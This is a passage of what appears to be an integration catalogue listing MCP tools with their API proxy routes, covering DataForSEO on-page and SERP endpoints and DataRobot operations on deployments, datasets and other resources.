/api/v1/dataforseo/v3/on_page/pages_by_resource. Scopes: none. dataforseo_post_v3_on_page_raw_html (write) — On-page raw html via POST /v3/on_page/raw_html POST /api/v1/dataforseo/v3/on_page/raw_html. Scopes: none. dataforseo_post_v3_on_page_redirect_chains (write) — On-page redirect chains via POST /v3/on_page/redirect_chains POST /api/v1/dataforseo/v3/on_page/redirect_chains. Scopes: none. dataforseo_post_v3_on_page_resources (write) — On-page resources via POST /v3/on_page/resources POST /api/v1/dataforseo/v3/on_page/resources. Scopes: none. dataforseo_post_v3_on_page_task_post (write) — On-page (queue task) via POST /v3/on_page/task_post Queues one task and returns its id. Poll tasks_ready, then task_get. Billable. POST /api/v1/dataforseo/v3/on_page/task_post. Scopes: none. dataforseo_post_v3_on_page_uncrawlable_resources (write) — On-page uncrawlable resources via POST /v3/on_page/uncrawlable_resources POST /api/v1/dataforseo/v3/on_page/uncrawlable_resources. Scopes: none. dataforseo_post_v3_on_page_waterfall (write) — On-page waterfall via POST /v3/on_page/waterfall POST /api/v1/dataforseo/v3/on_page/waterfall. Scopes: none. dataforseo_post_v3_serp_bing_organic_live_advanced (write) — SERP Bing organic (live) via POST /v3/serp/bing/organic/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/bing/organic/live/advanced. Scopes: none. dataforseo_post_v3_serp_google_ai_mode_live_advanced (write) — SERP Google AI Mode (live) via POST /v3/serp/google/ai_mode/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/google/ai_mode/live/advanced. Scopes: none. dataforseo_post_v3_serp_google_autocomplete_live_advanced (write) — SERP Google autocomplete (live) via POST /v3/serp/google/autocomplete/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/google/autocomplete/live/advanced. Scopes: none. dataforseo_post_v3_serp_google_images_live_advanced (write) — SERP Google images (live) via POST /v3/serp/google/images/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/google/images/live/advanced. Scopes: none. dataforseo_post_v3_serp_google_maps_live_advanced (write) — SERP Google maps (live) via POST /v3/serp/google/maps/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/google/maps/live/advanced. Scopes: none. dataforseo_post_v3_serp_google_news_live_advanced (write) — SERP Google news (live) via POST /v3/serp/google/news/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/google/news/live/advanced. Scopes: none. dataforseo_post_v3_serp_google_organic_live_advanced (write) — SERP Google organic (live) via POST /v3/serp/google/organic/live/advanced Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/serp/google/organic/live/advanced. Scopes: none. ================================================================================ ## DataRobot URL: https://www.agenticfabriq.com/integrations/datarobot Section: Integrated Tools DataRobot — 332 MCP tools Provider key: datarobot. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. datarobot_delete_batch_prediction_job_definitions_by_jobdefinitionid (write, destructive) — Delete batch prediction job definition via DELETE /api/v2/batchPredictionJobDefinitions/{jobDefinitionId}/ DELETE /api/v1/datarobot/api/v2/batchPredictionJobDefinitions/{jobDefinitionId}. Scopes: api. datarobot_delete_batch_predictions_by_predictionjobid (write, destructive) — Delete batch prediction via DELETE /api/v2/batchPredictions/{predictionJobId}/ DELETE /api/v1/datarobot/api/v2/batchPredictions/{predictionJobId}. Scopes: api. datarobot_delete_calendars_by_calendarid (write, destructive) — Delete calendar via DELETE /api/v2/calendars/{calendarId}/ DELETE /api/v1/datarobot/api/v2/calendars/{calendarId}. Scopes: api. datarobot_delete_comments_by_commentid (write, destructive) — Delete comment via DELETE /api/v2/comments/{commentId}/ DELETE /api/v1/datarobot/api/v2/comments/{commentId}. Scopes: api. datarobot_delete_credentials_by_credentialid (write, destructive) — Delete credential via DELETE /api/v2/credentials/{credentialId}/ DELETE /api/v1/datarobot/api/v2/credentials/{credentialId}. Scopes: api. datarobot_delete_custom_jobs_by_customjobid (write, destructive) — Delete custom job via DELETE /api/v2/customJobs/{customJobId}/ DELETE /api/v1/datarobot/api/v2/customJobs/{customJobId}. Scopes: api. datarobot_delete_custom_jobs_by_customjobid_runs_by_customjobrunid (write, destructive) — Cancel a custom job run via DELETE /api/v2/customJobs/{customJobId}/runs/{customJobRunId}/ DELETE /api/v1/datarobot/api/v2/customJobs/{customJobId}/runs/{customJobRunId}. Scopes: api. datarobot_delete_custom_models_by_custommodelid (write, destructive) — Delete custom model via DELETE /api/v2/customModels/{customModelId}/ DELETE /api/v1/datarobot/api/v2/customModels/{customModelId}. Scopes: api. datarobot_delete_custom_tasks_by_customtaskid (write, destructive) — Delete custom task via DELETE /api/v2/customTasks/{customTaskId}/ DELETE /api/v1/datarobot/api/v2/customTasks/{customTaskId}. Scopes: api. datarobot_delete_datasets_by_datasetid (write, destructive) — Delete dataset via DELETE /api/v2/datasets/{datasetId}/ DELETE /api/v1/datarobot/api/v2/datasets/{datasetId}. Scopes: api. datarobot_delete_datasets_by_datasetid_versions_by_datasetversionid (write, destructive) — Delete dataset version via DELETE /api/v2/datasets/{datasetId}/versions/{datasetVersionId}/ DELETE /api/v1/datarobot/api/v2/datasets/{datasetId}/versions/{datasetVersionId}. Scopes: api. datarobot_delete_deployments_by_deploymentid (write, destructive) — Delete deployment via DELETE /api/v2/deployments/{deploymentId}/ DELETE /api/v1/datarobot/api/v2/deployments/{deploymentId}. Scopes: api. datarobot_delete_deployments_by_deploymentid_challengers_by_challengerid (write, destructive) — Delete deployment challenger via DELETE /api/v2/deployments/{deploymentId}/challengers/{challengerId}/ DELETE /api/v1/datarobot/api/v2/deployments/{deploymentId}/challengers/{challengerId}. Scopes: api. datarobot_delete_deployments_by_deploymentid_custom_metrics_by_custommetricid (write, destructive) — Delete deployment custom metric via DELETE /api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}/ DELETE /api/v1/datarobot/api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}. Scopes: api. datarobot_delete_deployments_by_deploymentid_retraining_policies_by_retrainingpolicyid (write, destructive) — Delete deployment retraining policy via DELETE /api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}/ DELETE /api/v1/datarobot/api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}. Scopes: api. datarobot_delete_entity_tags_by_entitytagid (write, destructive) — Delete entity tag via DELETE /api/v2/entityTags/{entityTagId}/ DELETE /api/v1/datarobot/api/v2/entityTags/{entityTagId}. Scopes: api. datarobot_delete_execution_environments_by_environmentid (write, destructive) — Delete execution environment via DELETE /api/v2/executionEnvironments/{environmentId}/ DELETE /api/v1/datarobot/api/v2/executionEnvironments/{environmentId}. Scopes: api. datarobot_delete_external_data_sources_by_datasourceid (write, destructive) — Delete external data source via DELETE /api/v2/externalDataSources/{dataSourceId}/ DELETE /api/v1/datarobot/api/v2/externalDataSources/{dataSourceId}. Scopes: api. datarobot_delete_external_data_stores_by_datastoreid (write, destructive) — Delete external data store via DELETE /api/v2/externalDataStores/{dataStoreId}/ DELETE /api/v1/datarobot/api/v2/externalDataStores/{dataStoreId}. Scopes: api. datarobot_delete_genai_chat_prompts_by_chatpromptid (write, destructive) — Delete genai chat prompt via DELETE /api/v2/genai/chatPrompts/{chatPromptId}/ DELETE /api/v1/datarobot/api/v2/genai/chatPrompts/{chatPromptId}. Scopes: api. datarobot_delete_genai_chats_by_chatid (write, destructive) — Delete genai chat via DELETE /api/v2/genai/chats/{chatId}/ DELETE /api/v1/datarobot/api/v2/genai/chats/{chatId}. Scopes: api. datarobot_delete_genai_llm_blueprints_by_llmblueprintid (write, destructive) — Delete genai llm blueprint via DELETE /api/v2/genai/llmBlueprints/{llmBlueprintId}/ DELETE /api/v1/datarobot/api/v2/genai/llmBlueprints/{llmBlueprintId}. Scopes: api. datarobot_delete_genai_playgrounds_by_playgroundid (write, destructive) — Delete genai playground via DELETE /api/v2/genai/playgrounds/{playgroundId}/ DELETE /api/v1/datarobot/api/v2/genai/playgrounds/{playgroundId}. Scopes: api. datarobot_delete_genai_vector_databases_by_vectordatabaseid (write, destructive) — Delete genai vector database via DELETE /api/v2/genai/vectorDatabases/{vectorDatabaseId}/ DELETE /api/v1/datarobot/api/v2/genai/vectorDatabases/{vectorDatabaseId}. Scopes: api. datarobot_delete_groups_by_groupid (write, destructive) — Delete group via DELETE /api/v2/groups/{groupId}/ DELETE /api/v1/datarobot/api/v2/groups/{groupId}. Scopes: api. datarobot_delete_projects_by_projectid (write, destructive) — Delete project via DELETE /api/v2/projects/{projectId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}. Scopes: api. datarobot_delete_projects_by_projectid_featurelists_by_featurelistid (write, destructive) — Delete project featurelist via DELETE /api/v2/projects/{projectId}/featurelists/{featurelistId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/featurelists/{featurelistId}. Scopes: api. datarobot_delete_projects_by_projectid_jobs_by_jobid (write, destructive) — Cancel a project job via DELETE /api/v2/projects/{projectId}/jobs/{jobId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/jobs/{jobId}. Scopes: api. datarobot_delete_projects_by_projectid_modeling_featurelists_by_featurelistid (write, destructive) — Delete project modeling featurelist via DELETE /api/v2/projects/{projectId}/modelingFeaturelists/{featurelistId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/modelingFeaturelists/{featurelistId}. Scopes: api. datarobot_delete_projects_by_projectid_models_by_modelid (write, destructive) — Delete project model via DELETE /api/v2/projects/{projectId}/models/{modelId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}. Scopes: api. datarobot_delete_projects_by_projectid_predict_jobs_by_jobid (write, destructive) — Cancel a prediction job via DELETE /api/v2/projects/{projectId}/predictJobs/{jobId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/predictJobs/{jobId}. Scopes: api. datarobot_delete_projects_by_projectid_prediction_datasets_by_datasetid (write, destructive) — Delete project prediction dataset via DELETE /api/v2/projects/{projectId}/predictionDatasets/{datasetId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/predictionDatasets/{datasetId}. Scopes: api. datarobot_delete_projects_by_projectid_prediction_explanations_records_by_predictionexplanationsid (write, destructive) — Delete project prediction explanations record via DELETE /api/v2/projects/{projectId}/predictionExplanationsRecords/{predictionExplanationsId}/ DELETE /api/v1/datarobot/api/v2/projects/{projectId}/predictionExplanationsRecords/{predictionExplanationsId}. Scopes: api. datarobot_delete_registered_models_by_registeredmodelid (write, destructive) — Delete registered model via DELETE /api/v2/registeredModels/{registeredModelId}/ DELETE /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}. Scopes: api. datarobot_delete_use_cases_by_usecaseid (write, destructive) — Delete use case via DELETE /api/v2/useCases/{useCaseId}/ DELETE /api/v1/datarobot/api/v2/useCases/{useCaseId}. Scopes: api. datarobot_delete_use_cases_by_usecaseid_by_referencecollectiontype_by_entityid (write, destructive) — Remove an entity from a use case via DELETE /api/v2/useCases/{useCaseId}/{referenceCollectionType}/{entityId}/ DELETE /api/v1/datarobot/api/v2/useCases/{useCaseId}/{referenceCollectionType}/{entityId}. Scopes: api. datarobot_delete_user_blueprints_by_userblueprintid (write, destructive) — Delete user blueprint via DELETE /api/v2/userBlueprints/{userBlueprintId}/ DELETE /api/v1/datarobot/api/v2/userBlueprints/{userBlueprintId}. Scopes: api. datarobot_get_access_roles (read) — List access roles via GET /api/v2/accessRoles/ GET /api/v1/datarobot/api/v2/accessRoles. Scopes: api. datarobot_get_access_roles_by_roleid (read) — Get access role via GET /api/v2/accessRoles/{roleId}/ GET /api/v1/datarobot/api/v2/accessRoles/{roleId}. Scopes: api. datarobot_get_account_rate_limit_usage (read) — Get this account's rate limit usage via GET /api/v2/account/rateLimitUsage/ GET /api/v1/datarobot/api/v2/account/rateLimitUsage. Scopes: api. datarobot_get_batch_jobs (read) — List batch jobs via GET /api/v2/batchJobs/ GET /api/v1/datarobot/api/v2/batchJobs. Scopes: api. datarobot_get_batch_jobs_by_batchjobid (read) — Get batch job via GET /api/v2/batchJobs/{batchJobId}/ GET /api/v1/datarobot/api/v2/batchJobs/{batchJobId}. Scopes: api. datarobot_get_batch_prediction_job_definitions (read) — List batch prediction job definitions via GET /api/v2/batchPredictionJobDefinitions/ GET /api/v1/datarobot/api/v2/batchPredictionJobDefinitions. Scopes: api. datarobot_get_batch_prediction_job_definitions_by_jobdefinitionid (read) — Get batch prediction job definition via GET /api/v2/batchPredictionJobDefinitions/{jobDefinitionId}/ GET /api/v1/datarobot/api/v2/batchPredictionJobDefinitions/{jobDefinitionId}. Scopes: api. datarobot_get_batch_predictions (read) — List batch predictions via GET /api/v2/batchPredictions/ GET /api/v1/datarobot/api/v2/batchPredictions. Scopes: api. datarobot_get_batch_predictions_by_predictionjobid (read) — Get batch prediction via GET /api/v2/batchPredictions/{predictionJobId}/ GET /api/v1/datarobot/api/v2/batchPredictions/{predictionJobId}. Scopes: api. datarobot_get_calendars (read) — List calendars via GET /api/v2/calendars/ GET /api/v1/datarobot/api/v2/calendars. Scopes: api. datarobot_get_calendars_by_calendarid (read) — Get calendar via GET /api/v2/calendars/{calendarId}/ GET /api/v1/datarobot/api/v2/calendars/{calendarId}. Scopes: api. datarobot_get_comments_by_commentid (read) — Get comment via GET /api/v2/comments/{commentId}/ GET /api/v1/datarobot/api/v2/comments/{commentId}. Scopes: api. datarobot_get_comments_by_entitytype_by_entityid (read) — List comments on an entity via GET /api/v2/comments/{entityType}/{entityId}/ GET /api/v1/datarobot/api/v2/comments/{entityType}/{entityId}. Scopes: api. datarobot_get_credentials (read) — List credentials via GET /api/v2/credentials/ GET /api/v1/datarobot/api/v2/credentials. Scopes: api. datarobot_get_credentials_by_credentialid (read) — Get credential via GET /api/v2/credentials/{credentialId}/ GET /api/v1/datarobot/api/v2/credentials/{credentialId}. Scopes: api. datarobot_get_custom_jobs (read) — List custom jobs via GET /api/v2/customJobs/ GET /api/v1/datarobot/api/v2/customJobs. Scopes: api. datarobot_get_custom_jobs_by_customjobid (read) — Get custom job via GET /api/v2/customJobs/{customJobId}/ GET /api/v1/datarobot/api/v2/customJobs/{customJobId}. Scopes: api. datarobot_get_custom_jobs_by_customjobid_runs (read) — List custom job runs via GET /api/v2/customJobs/{customJobId}/runs/ GET /api/v1/datarobot/api/v2/customJobs/{customJobId}/runs. Scopes: api. datarobot_get_custom_jobs_by_customjobid_runs_by_customjobrunid (read) — Get custom job run via GET /api/v2/customJobs/{customJobId}/runs/{customJobRunId}/ GET /api/v1/datarobot/api/v2/customJobs/{customJobId}/runs/{customJobRunId}. Scopes: api. datarobot_get_custom_jobs_by_customjobid_runs_by_customjobrunid_logs (read) — List custom job run logs via GET /api/v2/customJobs/{customJobId}/runs/{customJobRunId}/logs/ GET /api/v1/datarobot/api/v2/customJobs/{customJobId}/runs/{customJobRunId}/logs. Scopes: api. datarobot_get_custom_model_deployments (read) — List custom model deployments via GET /api/v2/customModelDeployments/ GET /api/v1/datarobot/api/v2/customModelDeployments. Scopes: api. datarobot_get_custom_models (read) — List custom models via GET /api/v2/customModels/ GET /api/v1/datarobot/api/v2/customModels. Scopes: api. datarobot_get_custom_models_by_custommodelid (read) — Get custom model via GET /api/v2/customModels/{customModelId}/ GET /api/v1/datarobot/api/v2/customModels/{customModelId}. Scopes: api. datarobot_get_custom_models_by_custommodelid_versions (read) — List custom model versions via GET /api/v2/customModels/{customModelId}/versions/ GET /api/v1/datarobot/api/v2/customModels/{customModelId}/versions. Scopes: api. datarobot_get_custom_models_by_custommodelid_versions_by_custommodelversionid (read) — Get custom model version via GET /api/v2/customModels/{customModelId}/versions/{customModelVersionId}/ GET /api/v1/datarobot/api/v2/customModels/{customModelId}/versions/{customModelVersionId}. Scopes: api. datarobot_get_custom_models_by_custommodelid_versions_by_custommodelversionid_dependency_build (read) — Get custom model version dependency build via GET /api/v2/customModels/{customModelId}/versions/{customModelVersionId}/dependencyBuild/ GET /api/v1/datarobot/api/v2/customModels/{customModelId}/versions/{customModelVersionId}/dependencyBuild. Scopes: api. datarobot_get_custom_tasks (read) — List custom tasks via GET /api/v2/customTasks/ GET /api/v1/datarobot/api/v2/customTasks. Scopes: api. datarobot_get_custom_tasks_by_customtaskid (read) — Get custom task via GET /api/v2/customTasks/{customTaskId}/ GET /api/v1/datarobot/api/v2/customTasks/{customTaskId}. Scopes: api. datarobot_get_custom_tasks_by_customtaskid_versions (read) — List custom task versions via GET /api/v2/customTasks/{customTaskId}/versions/ GET /api/v1/datarobot/api/v2/customTasks/{customTaskId}/versions. Scopes: api. datarobot_get_custom_tasks_by_customtaskid_versions_by_customtaskversionid (read) — Get custom task version via GET /api/v2/customTasks/{customTaskId}/versions/{customTaskVersionId}/ GET /api/v1/datarobot/api/v2/customTasks/{customTaskId}/versions/{customTaskVersionId}. Scopes: api. datarobot_get_datasets (read) — List datasets via GET /api/v2/datasets/ GET /api/v1/datarobot/api/v2/datasets. Scopes: api. datarobot_get_datasets_by_datasetid (read) — Get dataset via GET /api/v2/datasets/{datasetId}/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}. Scopes: api. datarobot_get_datasets_by_datasetid_all_features_details (read) — List dataset feature details via GET /api/v2/datasets/{datasetId}/allFeaturesDetails/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/allFeaturesDetails. Scopes: api. datarobot_get_datasets_by_datasetid_featurelists (read) — List dataset featurelists via GET /api/v2/datasets/{datasetId}/featurelists/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/featurelists. Scopes: api. datarobot_get_datasets_by_datasetid_projects (read) — List dataset projects via GET /api/v2/datasets/{datasetId}/projects/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/projects. Scopes: api. datarobot_get_datasets_by_datasetid_refresh_jobs (read) — List dataset refresh jobs via GET /api/v2/datasets/{datasetId}/refreshJobs/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/refreshJobs. Scopes: api. datarobot_get_datasets_by_datasetid_shared_roles (read) — List dataset shared roles via GET /api/v2/datasets/{datasetId}/sharedRoles/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/sharedRoles. Scopes: api. datarobot_get_datasets_by_datasetid_versions (read) — List dataset versions via GET /api/v2/datasets/{datasetId}/versions/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/versions. Scopes: api. datarobot_get_datasets_by_datasetid_versions_by_datasetversionid (read) — Get dataset version via GET /api/v2/datasets/{datasetId}/versions/{datasetVersionId}/ GET /api/v1/datarobot/api/v2/datasets/{datasetId}/versions/{datasetVersionId}. Scopes: api. datarobot_get_deleted_projects (read) — List deleted projects via GET /api/v2/deletedProjects/ GET /api/v1/datarobot/api/v2/deletedProjects. Scopes: api. datarobot_get_deployments (read) — List deployments via GET /api/v2/deployments/ GET /api/v1/datarobot/api/v2/deployments. Scopes: api. datarobot_get_deployments_by_deploymentid (read) — Get deployment via GET /api/v2/deployments/{deploymentId}/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}. Scopes: api. datarobot_get_deployments_by_deploymentid_accuracy (read) — Get deployment accuracy via GET /api/v2/deployments/{deploymentId}/accuracy/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/accuracy. Scopes: api. datarobot_get_deployments_by_deploymentid_accuracy_metrics (read) — Get deployment accuracy metrics via GET /api/v2/deployments/{deploymentId}/accuracyMetrics/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/accuracyMetrics. Scopes: api. datarobot_get_deployments_by_deploymentid_accuracy_over_time (read) — Get deployment accuracy over time via GET /api/v2/deployments/{deploymentId}/accuracyOverTime/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/accuracyOverTime. Scopes: api. datarobot_get_deployments_by_deploymentid_capabilities (read) — List deployment capabilities via GET /api/v2/deployments/{deploymentId}/capabilities/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/capabilities. Scopes: api. datarobot_get_deployments_by_deploymentid_challengers (read) — List deployment challengers via GET /api/v2/deployments/{deploymentId}/challengers/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/challengers. Scopes: api. datarobot_get_deployments_by_deploymentid_challengers_by_challengerid (read) — Get deployment challenger via GET /api/v2/deployments/{deploymentId}/challengers/{challengerId}/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/challengers/{challengerId}. Scopes: api. datarobot_get_deployments_by_deploymentid_custom_metrics (read) — List deployment custom metrics via GET /api/v2/deployments/{deploymentId}/customMetrics/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/customMetrics. Scopes: api. datarobot_get_deployments_by_deploymentid_custom_metrics_by_custommetricid (read) — Get deployment custom metric via GET /api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}. Scopes: api. datarobot_get_deployments_by_deploymentid_feature_drift (read) — Get deployment feature drift via GET /api/v2/deployments/{deploymentId}/featureDrift/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/featureDrift. Scopes: api. datarobot_get_deployments_by_deploymentid_features (read) — List deployment features via GET /api/v2/deployments/{deploymentId}/features/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/features. Scopes: api. datarobot_get_deployments_by_deploymentid_health_settings (read) — Get deployment health settings via GET /api/v2/deployments/{deploymentId}/healthSettings/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/healthSettings. Scopes: api. datarobot_get_deployments_by_deploymentid_humility_stats (read) — List deployment humility stats via GET /api/v2/deployments/{deploymentId}/humilityStats/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/humilityStats. Scopes: api. datarobot_get_deployments_by_deploymentid_model_history (read) — Get deployment model history via GET /api/v2/deployments/{deploymentId}/modelHistory/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/modelHistory. Scopes: api. datarobot_get_deployments_by_deploymentid_prediction_data_exports (read) — List deployment prediction data exports via GET /api/v2/deployments/{deploymentId}/predictionDataExports/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/predictionDataExports. Scopes: api. datarobot_get_deployments_by_deploymentid_prediction_results (read) — List deployment prediction results via GET /api/v2/deployments/{deploymentId}/predictionResults/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/predictionResults. Scopes: api. datarobot_get_deployments_by_deploymentid_predictions_over_time (read) — Get deployment predictions over time via GET /api/v2/deployments/{deploymentId}/predictionsOverTime/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/predictionsOverTime. Scopes: api. datarobot_get_deployments_by_deploymentid_predictions_vs_actuals_over_time (read) — Get deployment predictions vs actuals over time via GET /api/v2/deployments/{deploymentId}/predictionsVsActualsOverTime/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/predictionsVsActualsOverTime. Scopes: api. datarobot_get_deployments_by_deploymentid_retraining_policies (read) — List deployment retraining policies via GET /api/v2/deployments/{deploymentId}/retrainingPolicies/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/retrainingPolicies. Scopes: api. datarobot_get_deployments_by_deploymentid_retraining_policies_by_retrainingpolicyid (read) — Get deployment retraining policy via GET /api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}. Scopes: api. datarobot_get_deployments_by_deploymentid_segment_attributes (read) — List deployment segment attributes via GET /api/v2/deployments/{deploymentId}/segmentAttributes/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/segmentAttributes. Scopes: api. datarobot_get_deployments_by_deploymentid_segment_values (read) — List deployment segment values via GET /api/v2/deployments/{deploymentId}/segmentValues/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/segmentValues. Scopes: api. datarobot_get_deployments_by_deploymentid_service_stats (read) — List deployment service stats via GET /api/v2/deployments/{deploymentId}/serviceStats/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/serviceStats. Scopes: api. datarobot_get_deployments_by_deploymentid_service_stats_over_time (read) — Get deployment service stats over time via GET /api/v2/deployments/{deploymentId}/serviceStatsOverTime/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/serviceStatsOverTime. Scopes: api. datarobot_get_deployments_by_deploymentid_settings (read) — Get deployment settings via GET /api/v2/deployments/{deploymentId}/settings/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/settings. Scopes: api. datarobot_get_deployments_by_deploymentid_shared_roles (read) — List deployment shared roles via GET /api/v2/deployments/{deploymentId}/sharedRoles/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/sharedRoles. Scopes: api. datarobot_get_deployments_by_deploymentid_target_drift (read) — Get deployment target drift via GET /api/v2/deployments/{deploymentId}/targetDrift/ GET /api/v1/datarobot/api/v2/deployments/{deploymentId}/targetDrift. Scopes: api. datarobot_get_deployments_limits (read) — Get deployment limits via GET /api/v2/deployments/limits/ GET /api/v1/datarobot/api/v2/deployments/limits. Scopes: api. datarobot_get_entity_tags (read) — List entity tags via GET /api/v2/entityTags/ GET /api/v1/datarobot/api/v2/entityTags. Scopes: api. datarobot_get_event_logs (read) — List event logs via GET /api/v2/eventLogs/ GET /api/v1/datarobot/api/v2/eventLogs. Scopes: api. datarobot_get_execution_environments (read) — List execution environments via GET /api/v2/executionEnvironments/ GET /api/v1/datarobot/api/v2/executionEnvironments. Scopes: api. datarobot_get_execution_environments_by_environmentid (read) — Get execution environment via GET /api/v2/executionEnvironments/{environmentId}/ GET /api/v1/datarobot/api/v2/executionEnvironments/{environmentId}. Scopes: api. datarobot_get_execution_environments_by_environmentid_versions (read) — List execution environment versions via GET /api/v2/executionEnvironments/{environmentId}/versions/ GET /api/v1/datarobot/api/v2/executionEnvironments/{environmentId}/versions. Scopes: api. datarobot_get_external_data_drivers (read) — List external data drivers via GET /api/v2/externalDataDrivers/ GET /api/v1/datarobot/api/v2/externalDataDrivers. Scopes: api. datarobot_get_external_data_sources (read) — List external data sources via GET /api/v2/externalDataSources/ GET /api/v1/datarobot/api/v2/externalDataSources. Scopes: api. datarobot_get_external_data_sources_by_datasourceid (read) — Get external data source via GET /api/v2/externalDataSources/{dataSourceId}/ GET /api/v1/datarobot/api/v2/externalDataSources/{dataSourceId}. Scopes: api. datarobot_get_external_data_stores (read) — List external data stores via GET /api/v2/externalDataStores/ GET /api/v1/datarobot/api/v2/externalDataStores. Scopes: api. datarobot_get_external_data_stores_by_datastoreid (read) — Get external data store via GET /api/v2/externalDataStores/{dataStoreId}/ GET /api/v1/datarobot/api/v2/externalDataStores/{dataStoreId}. Scopes: api. datarobot_get_genai_chat_prompts (read) — List genai chat prompts via GET /api/v2/genai/chatPrompts/ GET /api/v1/datarobot/api/v2/genai/chatPrompts. Scopes: api. datarobot_get_genai_chats (read) — List genai chats via GET /api/v2/genai/chats/ GET /api/v1/datarobot/api/v2/genai/chats. Scopes: api. datarobot_get_genai_chats_by_chatid (read) — Get genai chat via GET /api/v2/genai/chats/{chatId}/ GET /api/v1/datarobot/api/v2/genai/chats/{chatId}. Scopes: api. datarobot_get_genai_llm_blueprints (read) — List genai llm blueprints via GET /api/v2/genai/llmBlueprints/ GET /api/v1/datarobot/api/v2/genai/llmBlueprints. Scopes: api. datarobot_get_genai_llm_blueprints_by_llmblueprintid (read) — Get genai llm blueprint via GET /api/v2/genai/llmBlueprints/{llmBlueprintId}/ GET /api/v1/datarobot/api/v2/genai/llmBlueprints/{llmBlueprintId}. Scopes: api. datarobot_get_genai_llms (read) — List genai llms via GET /api/v2/genai/llms/ GET /api/v1/datarobot/api/v2/genai/llms. Scopes: api. datarobot_get_genai_llms_by_llmid (read) — Get genai llm via GET /api/v2/genai/llms/{llmId}/ GET /api/v1/datarobot/api/v2/genai/llms/{llmId}. Scopes: api. datarobot_get_genai_playgrounds (read) — List genai playgrounds via GET /api/v2/genai/playgrounds/ GET /api/v1/datarobot/api/v2/genai/playgrounds. Scopes: api. datarobot_get_genai_playgrounds_by_playgroundid (read) — Get genai playground via GET /api/v2/genai/playgrounds/{playgroundId}/ GET /api/v1/datarobot/api/v2/genai/playgrounds/{playgroundId}. Scopes: api. datarobot_get_genai_vector_databases (read) — List genai vector databases via GET /api/v2/genai/vectorDatabases/ GET /api/v1/datarobot/api/v2/genai/vectorDatabases. Scopes: api. datarobot_get_genai_vector_databases_by_vectordatabaseid (read) — Get genai vector database via GET /api/v2/genai/vectorDatabases/{vectorDatabaseId}/ GET /api/v1/datarobot/api/v2/genai/vectorDatabases/{vectorDatabaseId}. Scopes: api. datarobot_get_groups (read) — List groups via GET /api/v2/groups/ GET /api/v1/datarobot/api/v2/groups. Scopes: api. datarobot_get_groups_by_groupid (read) — Get group via GET /api/v2/groups/{groupId}/ GET /api/v1/datarobot/api/v2/groups/{groupId}. Scopes: api. datarobot_get_groups_by_groupid_users (read) — List group users via GET /api/v2/groups/{groupId}/users/ GET /api/v1/datarobot/api/v2/groups/{groupId}/users. Scopes: api. datarobot_get_insights_feature_effects_models_by_entityid (read) — Get computed feature effects for a model via GET /api/v2/insights/featureEffects/models/{entityId}/ GET /api/v1/datarobot/api/v2/insights/featureEffects/models/{entityId}. Scopes: api. datarobot_get_insights_feature_impact_models_by_entityid (read) — Get computed feature impact for a model via GET 